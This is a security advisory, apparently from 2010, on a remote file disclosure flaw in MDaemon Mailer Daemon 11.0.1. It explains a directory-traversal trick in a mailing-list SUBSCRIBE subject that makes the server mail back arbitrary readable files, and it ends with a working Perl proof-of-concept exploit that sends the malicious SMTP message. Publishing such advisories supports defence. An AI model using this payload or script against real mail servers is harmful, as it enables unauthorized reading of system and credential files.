MDaemon Mailer Daemon 11.0.1 – Remote File Disclosure
MDaemon Mailer Daemon Version 11.0.1 (LATEST) Remote File Disclosure Bug Found & Exploited by Kingcope May 2010 The latest version at the time of this advisory is vulnerble to the attack. It seems all files which the SYSTEM account can read can be accessed remotely, even accessing files on SMB shares located in the local network might be possible. The caveat is that only human readable files can be read. This bug is complex so let's break the attack down into it's different pieces. Mailing list support in MDaemon --- MDaemon support mailing list. When a mailing list is configured, people can subscribe and use the mailing list commands which are sent to MDaemon@<domainhere>. The MDaemon Software stores configurations for mailing lists inside a file with the grp extension which is located in <MDaemonDir>(normally C:\MDaemon)\App so for example in C:\MDaemon\App. A mailing list group file can look like the following (only a snippet of the file): ---snip--- # Mailing List file # ; ListName = test@company.mail ; Private = N ; HideFromAddressBook = N ; AllowExpn = Y ; ListNameInSubject = Y ... ---snip--- grp file -- Inside the grp file there is a setting for a welcome message which is sent when a user subscribes to a mailing list. The field is named "WelcomeFile", for example this setting can be: ; WelcomeFile = C:\autoexec.bat Directory traversal in SUBSCRIBE (and other commands, SUBSCRIBE is the important for the attack) -- When subscribing to a mailing list the user sends an E-Mail with a subject like: SUBSCRIBE test-mailinglist@<domainhere> In this case a grp file named test-mailinglist@domain.grp will be searched for in C:\MDaemon\App\. An attacker can now supply dot dot slashes here to point to a different file as intended, for example: SUBSCRIBE VVV@"../../../../../../../../../../../../../../../../../users/kcope/openshare/foobar In this case the Mailer Daemon will look for the grp file in the location C:\Users\Kcope\OpenShare\foobar.grp. If the file exists MDaemon will use this file and send back a confirmation E-Mail because of a mailing list subscription. The attack does not depend on a mailing list being configured but on a file which the user controls under a C: folder (which he for example uploaded through SMB or FTP). So this is the only migitation for the attack. I did not find a way to discard the grp file extension added to the requested file, so it's not possible to reuse sent mails by the attacker for example. Welcome message file and final attack -- As seen before the grp file supports a welcome message file setting. When the user responds to the malicious subscription request sent by him (it's important to change the domain name at this point to the correct one, because MDaemon gets confused by the ../ domainname seen above when sending the confirmation mail) he will gracefully receive the requested file which was set in grp file back as an email contained in a welcome E-Mail by MDaemon. Exploit PoC -- The following exploit will force the welcome file set in c:/users/kcope/openshare/foobar.grp to be sent to the attacker after confirming the subscription request. ---snip--- use IO::Socket::INET; use MIME::Base64; $|=1; $sock = IO::Socket::INET->new(PeerAddr => 'localhost', PeerPort => '25', Proto => 'tcp'); print $sock "EHLO you\r\n"; print $sock "MAIL FROM: <niko>\r\n"; print $sock "RCPT TO: <MDaemon\@company.mail>\r\n"; print $sock "DATA\r\n"; print $sock "Date: 23 Oct 81 11:22:33\r\n"; print $sock "From: <niko>\r\n"; print $sock "To: <MDaemon\@company.mail>\r\n"; print $sock "Subject: SUBSCRIBE VVV\@\"../../../../../../../../../../../../../../../../../users/kcope/openshare/foobar\r\n"; print $sock "\r\n\r\ntest\r\n.\r\nQUIT\r\n"; print "."; while(<$sock>) { print; } ---snip--- Kingcope |